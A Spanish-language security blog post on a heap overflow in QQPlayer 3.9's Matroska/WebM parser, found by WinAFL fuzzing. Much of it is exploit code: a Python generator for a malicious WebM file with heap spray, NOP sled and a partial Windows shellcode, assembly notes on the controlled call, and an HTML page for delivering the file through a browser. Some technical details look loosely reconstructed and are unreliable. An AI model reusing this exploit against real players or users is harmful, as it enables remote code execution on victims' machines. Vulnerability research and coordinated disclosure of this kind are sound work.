/ 7 min de lectura
QQPlayer 3.9 Heap Overflow: explotación de Matroska

Introducción
QQPlayer 3.9, un reproductor multimedia popular en mercados asiáticos, tiene una vulnerabilidad crítica de heap overflow que permite ejecución remota de código a través de archivos WebM maliciosos. Esta vulnerabilidad se descubrió durante una evaluación de seguridad sistemática usando fuzzing con WinAFL y afecta la lógica de parsing del contenedor Matroska de la aplicación.
Resumen ejecutivo
Tipo de vulnerabilidad: Heap Overflow Vector de ataque: Archivos WebM/Matroska maliciosos Impacto: Ejecución remota de código Versión afectada: QQPlayer 3.9 Método de descubrimiento: Campaña de fuzzing con WinAFL
La vulnerabilidad permite a un atacante lograr ejecución arbitraria de código explotando una validación de límites insuficiente en el filtro DirectShow matroskasplitter.ax, lo que deriva en instrucciones call controladas y corrupción de heap.
Descubrimiento de la vulnerabilidad
Metodología de investigación
QQPlayer fue elegido como target de investigación por su despliegue masivo y su soporte complejo de formatos multimedia. La investigación se enfocó en archivos WebM por la estructura compleja de ese contenedor y su adopción creciente, algo que suele introducir vulnerabilidades de parsing en aplicaciones multimedia.
Campaña de fuzzing con WinAFL
El setup de fuzzing apuntó a la funcionalidad de parsing WebM/Matroska de QQPlayer usando WinAFL con instrumentación de DynamoRIO:
# WinAFL configuration for QQPlayer WebM fuzzingafl-fuzz.exe -i webm_samples\ -o findings\ -D DynamoRIO\bin64\ -- -coverage_module QQPlayer.exe -target_module QQPlayer.exe -- QQPlayer.exe @@Hallazgos clave
La campaña de fuzzing reveló vulnerabilidades críticas en el filtro DirectShow matroskasplitter.ax:

Problemas críticos identificados:
- Corrupción de heap en el procesamiento de tracks de Matroska
- Instrucciones call controladas con punteros provistos por el atacante
- Múltiples patrones de crash reproducibles
- Validación de límites insuficiente en el parsing del contenedor
Firma del crash:
Access violation - code c0000005eax=41414141 edx=41414141 esi=41414141 edi=41414141call [eax+0x14] ; Controlled call with attacker dataAnálisis técnico
Causa raíz de la vulnerabilidad
La vulnerabilidad se origina en una validación de límites insuficiente en la lógica de parsing del contenedor Matroska de QQPlayer:
// Vulnerable code pattern in matroskasplitter.axtypedef struct { uint32_t track_count; uint32_t track_entries[MAX_TRACKS]; char *track_data[MAX_TRACKS];} matroska_context;
int parse_matroska_tracks(matroska_context *ctx, uint8_t *data, size_t size) { uint32_t track_count = read_uint32(data); ctx->track_count = track_count; // No validation
// Vulnerable loop - no bounds checking for (uint32_t i = 0; i < track_count; i++) { size_t track_size = read_track_size(data);
// Heap allocation based on untrusted size ctx->track_data[i] = malloc(track_size); // VULNERABILITY
// Copy without size validation memcpy(ctx->track_data[i], data, track_size); // VULNERABILITY
data += track_size; }
return 0;}Análisis de la corrupción de memoria
La vulnerabilidad habilita varios vectores de ataque:
- Control de la asignación de heap: el atacante controla los tamaños de allocation
- Operaciones de copia de memoria: copia sin restricciones a buffers del heap
- Manipulación del track count: cantidades excesivas de tracks provocan el overflow
- Corrupción de punteros: la corrupción de metadata del heap habilita escrituras arbitrarias
Estrategia de explotación
Implementación del heap spray
La estrategia de explotación aprovecha el abuso de multi-track de Matroska para lograr un layout de heap controlado:
#!/usr/bin/env python# QQPlayer Matroska Heap Overflow Exploit
import struct
class MatroskaExploit: def __init__(self): self.ebml_header = self.create_ebml_header() self.segment_header = self.create_segment_header()
def create_ebml_header(self): """Generate valid EBML header for WebM file""" ebml = b"\x1A\x45\xDF\xA3" # EBML magic ebml += b"\x9F" # Header size ebml += b"\x42\x86\x81\x01" # EBML version ebml += b"\x42\xF7\x81\x01" # EBML read version ebml += b"\x42\xF2\x81\x04" # EBML max ID length ebml += b"\x42\xF3\x81\x08" # EBML max size length ebml += b"\x42\x82\x88webm" # Doc type: "webm" ebml += b"\x42\x87\x81\x02" # Doc type version ebml += b"\x42\x85\x81\x02" # Doc type read version return ebml
def create_segment_header(self): """Generate Segment element header""" segment = b"\x18\x53\x80\x67" # Segment ID segment += b"\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF" # Unknown size return segment
def create_track_entry(self, track_id, track_type, codec_data): """Create individual track entry for heap spray""" track = b"\xAE" # TrackEntry ID track += self.encode_size(len(codec_data) + 20) # Track size track += b"\xD7\x81" + struct.pack('B', track_id) # Track number track += b"\x83\x81" + struct.pack('B', track_type) # Track type track += b"\x63\xA2" + self.encode_size(len(codec_data)) # CodecPrivate size track += codec_data # Controlled codec data return track
def create_heap_spray_payload(self): """Generate heap spray using multiple tracks"""
# Heap spray shellcode (calculator for PoC) shellcode = ( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" # ... shellcode continues )
# NOP sled for landing zone nop_sled = b"\x90" * 1000
# Spray payload: NOP sled + shellcode spray_chunk = nop_sled + shellcode
# Pad to specific size for heap layout control spray_chunk += b"A" * (0x1000 - len(spray_chunk))
return spray_chunk
def create_overflow_tracks(self): """Create tracks to trigger heap overflow""" tracks = b"" spray_payload = self.create_heap_spray_payload()
# Create multiple tracks for heap spray for i in range(50): # Spray heap with controlled data tracks += self.create_track_entry( track_id=i + 1, track_type=1, # Video track codec_data=spray_payload )
# Create overflow trigger track overflow_size = 0x10000 # Large allocation overflow_data = b"B" * 100 # Controlled data overflow_data += struct.pack('<I', 0x0C0C0C0C) # Controlled pointer overflow_data += b"C" * (overflow_size - len(overflow_data))
tracks += self.create_track_entry( track_id=999, track_type=1, codec_data=overflow_data )
return tracks
def generate_malicious_webm(self): """Generate complete malicious WebM file"""
# File structure webm_file = self.ebml_header webm_file += self.segment_header
# Tracks element tracks_data = self.create_overflow_tracks() tracks_element = b"\x16\x54\xAE\x6B" # Tracks ID tracks_element += self.encode_size(len(tracks_data)) tracks_element += tracks_data
webm_file += tracks_element
return webm_file
def encode_size(self, size): """Encode size using EBML variable-length encoding""" if size < 0x7F: return struct.pack('B', 0x80 | size) elif size < 0x3FFF: return struct.pack('>H', 0x4000 | size) elif size < 0x1FFFFF: return struct.pack('>I', 0x200000 | size)[1:] else: return struct.pack('>Q', 0x1000000000000000 | size)
# Generate exploit fileexploit = MatroskaExploit()malicious_webm = exploit.generate_malicious_webm()
with open("malicious.webm", "wb") as f: f.write(malicious_webm)
print("[+] Malicious WebM file created: malicious.webm")print(f"[+] File size: {len(malicious_webm)} bytes")Estrategia de layout del heap
La técnica de explotación aprovecha la estructura multi-track de Matroska para manipular el heap con precisión:
Heap Layout Strategy:┌─────────────────┐│ Heap Spray │ ← Multiple small tracks with controlled data│ (Tracks 1-50) │ (0x1000 bytes each, total ~80KB)├─────────────────┤│ Landing Zone │ ← NOP sleds for reliable execution│ (NOP + Shell) │ (Multiple copies across spray)├─────────────────┤│ Overflow Track │ ← Large track triggering overflow│ (Track 999) │ (0x10000 bytes, controlled data)└─────────────────┘
Explotación del call controlado
La vulnerabilidad habilita instrucciones de call [r32] controlado:
; Vulnerable call pattern in matroskasplitter.axmov eax, [heap_ptr] ; eax = attacker-controlled pointercall [eax+0x14] ; Call controlled function pointer
; Exploitation strategy:; 1. Spray heap with fake vtables; 2. Corrupt heap metadata to point to fake vtable; 3. Trigger call instruction; 4. Execute shellcode via fake vtable entryDesarrollo de la prueba de concepto
Análisis del vector de ataque
La vulnerabilidad se puede explotar a través de múltiples mecanismos de entrega:
Ataque por archivo local:
# Direct file executionQQPlayer.exe malicious.webmAtaque basado en web:
<!-- Malicious web page --><!DOCTYPE html><html><head> <title>QQPlayer WebM Exploit</title></head><body> <h1>Video Player Demo</h1> <video controls> <source src="malicious.webm" type="video/webm"> Your browser does not support the video tag. </video>
<script> // Additional JavaScript for environment preparation function prepareExploit() { // Heap spray preparation if needed var chunks = []; for (var i = 0; i < 100; i++) { chunks[i] = new Array(1000).join("A"); } return chunks; }
window.onload = function() { var spray = prepareExploit(); console.log("Environment prepared"); }; </script></body></html>Ejecución exitosa:

Conclusión
La vulnerabilidad de heap overflow de QQPlayer demuestra los riesgos de seguridad críticos inherentes a las librerías complejas de parsing multimedia. Su explotación mediante abuso del contenedor Matroska deja clara la necesidad de una validación de entrada robusta en las aplicaciones de procesamiento de medios.
Referencias
- WebM Project Documentation
- Matroska Container Specification
- WinAFL: Windows American Fuzzy Lop
- DynamoRIO Dynamic Binary Instrumentation
- Heap Spraying Techniques
Investigación realizada por: el equipo de Volt AI Estado de divulgación: Coordinada con el equipo de desarrollo de QQPlayer Impacto: Parches de seguridad integrados en versiones posteriores de QQPlayer